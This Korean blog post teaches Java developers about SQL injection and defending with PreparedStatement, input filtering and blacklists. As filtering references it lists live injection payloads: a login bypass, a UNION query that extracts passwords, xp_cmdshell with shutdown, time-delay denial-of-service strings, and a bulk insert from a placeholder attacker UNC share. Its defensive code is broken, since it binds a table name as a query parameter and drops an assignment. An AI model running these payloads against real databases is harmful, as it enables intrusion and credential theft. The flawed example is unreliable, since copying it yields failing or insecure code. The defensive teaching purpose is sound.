삶 가운데 남긴 기록 AACII.TISTORY.COM
JAVA 보안 SQL Injection 본문
SQL Injection
사용자의 입력값에 Query를 직접 입력해서 쿼리 구조를 바꾸어 개발자가 의도하지 않은 동작을 수행하게 하는 공격 기법입니다.
예) ID를 guest ' OR 'a'='a' -- 으로 설정 한경우 쿼리가 아래처럼 생성되어 Where절이 항상 참이므로 비번 없이 로그인에 성공할 수 있습니다.
SELECT * FROM members WHERE userId='guest' OR 'a'='a' -- AND paseword = ...
preparedStatement 클래스를 사용해서 미리 컴파일된 쿼리를 사용해 쿼리를 동적으로 생성할 수 없게 해서 방어합니다.
String query = "SELECT * FROM ? WHERE NAME = ?";
pstmt con.prepareStatement(query);
pstmt.setString(1, tableName);
pstmt.setString(2, name);
preparedStatement를 사용할 수 없는 경우는 입력 값에 길이 제한을 걸고 정규식을 이용하여 특수 문자를 필터링하고 SQL문을 입력할 수 없도록 해야 합니다.
아래 예제는 SQL Injection 공격으로 사용하는 예제 이므로 필터링 시 참고하시기 바랍니다.
-- 위험한 구문 IF (1=1) SELECT 'true' ELSE SELECT 'false'
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
-- 위험한 함수
SELECT CHAR(0X66)
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
SELECT ASCII('a')
MD5(), SHA1(), PASSWORD(), ENCODE(), COMPRESS(), ROW_COUNT(), SCHEMA(), VERSION(), ...
-- 시스템 정보 노출
INSERT INTO MEMBERS(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10), 10)
-- 위험한 명령어 실행
exec master..xp_cmdshell 'dir' ';shutdown --
-- 시스템 자원 소모 유도
IF(SELECT * FROM login) BENCHMARK(1000000,MD5(1)) WAITFOR DELAY '0:0:10' --
-- 윈도우 UNC Share 악용
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
또한 SQL 구문 들을 블랙리스트에 등록하고 강제적으로 삭제해서 방어할 수 있습니다.
참고
http://cwe.mitre.org/data/definitions/89.html
https://www.owasp.org/index.php/Top_10_2010-A1
728x90
'DEV&OPS > Java' 카테고리의 다른 글
JAVA 보안 Cross-site Scripting (0) | 2022.08.03 |
---|---|
JAVA 보안 Resource Injection (0) | 2022.08.03 |
CRUD (0) | 2022.07.26 |
MVC 패턴 (0) | 2022.07.21 |
JSTL SQL (0) | 2022.07.20 |